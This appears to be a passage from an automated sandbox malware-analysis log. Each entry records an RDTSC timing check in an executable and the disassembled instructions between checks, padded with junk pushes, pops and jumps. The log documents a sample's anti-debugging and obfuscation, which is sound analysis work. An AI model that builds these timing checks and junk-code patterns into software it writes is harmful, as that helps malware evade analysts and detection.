Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FA0 second address: 4B5FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FA6 second address: 4B5FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FAA second address: 4B5FB4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E60BA1656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FB4 second address: 4B5FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F5E60CAC686h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FC9 second address: 4B5FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FD4 second address: 4B5FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC696h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FEF second address: 4B5FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5FF5 second address: 4B5FF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4C9B second address: 4B4C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5252 second address: 4B5256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5422 second address: 4B5426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B56CC second address: 4B56D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B593F second address: 4B5943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5943 second address: 4B5963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F5E60CAC692h 0x0000000c jns 00007F5E60CAC686h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5963 second address: 4B59D7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E60BA1658h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007F5E60BA1660h 0x00000010 jmp 00007F5E60BA1667h 0x00000015 jmp 00007F5E60BA1668h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push esi 0x00000020 jp 00007F5E60BA1656h 0x00000026 pushad 0x00000027 popad 0x00000028 pop esi 0x00000029 push edi 0x0000002a pushad 0x0000002b popad 0x0000002c jmp 00007F5E60BA1667h 0x00000031 pop edi 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B59D7 second address: 4B59DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B59DC second address: 4B59E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B59E4 second address: 4B59F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC68Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5B3E second address: 4B5B4F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jg 00007F5E60BA1656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5E00 second address: 4B5E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5E0C second address: 4B5E12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5E12 second address: 4B5E36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5E60CAC692h 0x00000008 jmp 00007F5E60CAC68Bh 0x0000000d pop ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB715 second address: 4BB71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB71C second address: 4BB721 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA130 second address: 4BA15B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E60BA1658h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E60BA165Fh 0x00000011 jmp 00007F5E60BA1660h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA436 second address: 4BA43B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA72A second address: 4BA730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA98E second address: 4BA9B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jmp 00007F5E60CAC695h 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0F4 second address: 4BB10F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1665h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 465E9D second address: 465EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 465EA3 second address: 465EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 465EA7 second address: 465EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 465EAD second address: 465EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5E60BA1656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB543 second address: 4BB548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB548 second address: 4BB557 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE62F second address: 4BE635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE635 second address: 4BE63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE63A second address: 4BE641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C168A second address: 4C16B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F5E60BA1668h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C16B9 second address: 4C16C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C16C1 second address: 4C16D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5E60BA165Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C78BC second address: 4C78C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C78C0 second address: 4C78D0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E60BA1656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C78D0 second address: 4C78D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6851 second address: 4C6861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60BA165Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6861 second address: 4C6865 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6865 second address: 4C68B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA165Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jp 00007F5E60BA166Fh 0x00000014 jns 00007F5E60BA165Ch 0x0000001a jbe 00007F5E60BA1658h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C68B0 second address: 4C68B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7201 second address: 4C721C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1666h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C721C second address: 4C7222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7539 second address: 4C753D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C753D second address: 4C7541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9B1C second address: 4C9B2F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E60BA1658h 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b jp 00007F5E60BA1656h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489352 second address: 489356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489356 second address: 48935A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48935A second address: 489360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489360 second address: 48936A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5E60BA165Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48936A second address: 48937B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F5E60CAC694h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48937B second address: 48937F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48937F second address: 4893AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D21AEh], ecx 0x0000000d sbb di, 6F5Bh 0x00000012 lea eax, dword ptr [ebp+1248E0E4h] 0x00000018 mov edx, dword ptr [ebp+122D1E37h] 0x0000001e push eax 0x0000001f je 00007F5E60CAC698h 0x00000025 push eax 0x00000026 push edx 0x00000027 ja 00007F5E60CAC686h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4893AC second address: 4893B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489881 second address: 48988A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48995C second address: 489961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489961 second address: 48997E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F5E60CAC686h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F5E60CAC68Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48997E second address: 489989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F5E60BA1656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489989 second address: 4899AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E60CAC696h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4899AC second address: 489A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1665h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jc 00007F5E60BA166Ah 0x00000011 jmp 00007F5E60BA1664h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push edx 0x0000001b jng 00007F5E60BA1665h 0x00000021 jmp 00007F5E60BA165Fh 0x00000026 pop edx 0x00000027 pop eax 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F5E60BA1658h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 0000001Bh 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+1246885Eh] 0x00000048 mov dword ptr [ebp+122D206Eh], edx 0x0000004e call 00007F5E60BA1659h 0x00000053 push edi 0x00000054 jmp 00007F5E60BA1668h 0x00000059 pop edi 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F5E60BA165Ah 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489B8C second address: 489BEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC692h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c jc 00007F5E60CAC686h 0x00000012 jc 00007F5E60CAC686h 0x00000018 popad 0x00000019 pop esi 0x0000001a xchg eax, esi 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F5E60CAC688h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 nop 0x00000036 push edx 0x00000037 push edx 0x00000038 jmp 00007F5E60CAC68Ch 0x0000003d pop edx 0x0000003e pop edx 0x0000003f push eax 0x00000040 push esi 0x00000041 jng 00007F5E60CAC68Ch 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489DAD second address: 489DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489EC7 second address: 489ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489ECD second address: 489ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489ED1 second address: 489ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489ED5 second address: 489F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F5E60BA1658h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov di, cx 0x00000026 push 00000004h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F5E60BA1658h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Bh 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+122D2679h] 0x00000048 nop 0x00000049 push eax 0x0000004a push edx 0x0000004b push edi 0x0000004c jng 00007F5E60BA1656h 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489F37 second address: 489F3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489F3D second address: 489F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A2DB second address: 48A2FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F5E60CAC68Fh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F5E60CAC688h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A2FB second address: 48A316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60BA1667h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A656 second address: 48A66D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5E60CAC688h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F5E60CAC688h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A66D second address: 48A685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F5E60BA1656h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A75B second address: 48A7BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d jns 00007F5E60CAC688h 0x00000013 popad 0x00000014 nop 0x00000015 mov edx, dword ptr [ebp+122D3A1Fh] 0x0000001b lea eax, dword ptr [ebp+1248E0E4h] 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F5E60CAC688h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 0000001Ah 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b movzx ecx, ax 0x0000003e nop 0x0000003f pushad 0x00000040 jmp 00007F5E60CAC696h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A7BE second address: 48A7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5E60BA1665h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A7DD second address: 465E9D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F5E60CAC688h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 movsx edx, bx 0x00000029 mov cl, bl 0x0000002b call dword ptr [ebp+1245A0BFh] 0x00000031 jg 00007F5E60CAC69Bh 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F5E60CAC68Eh 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD4D6 second address: 4CD4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD4E0 second address: 4CD4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC697h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD68D second address: 4CD691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD829 second address: 4CD833 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD833 second address: 4CD844 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F5E60BA1656h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD844 second address: 4CD861 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F5E60CAC686h 0x00000011 jbe 00007F5E60CAC686h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD9AA second address: 4CD9B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
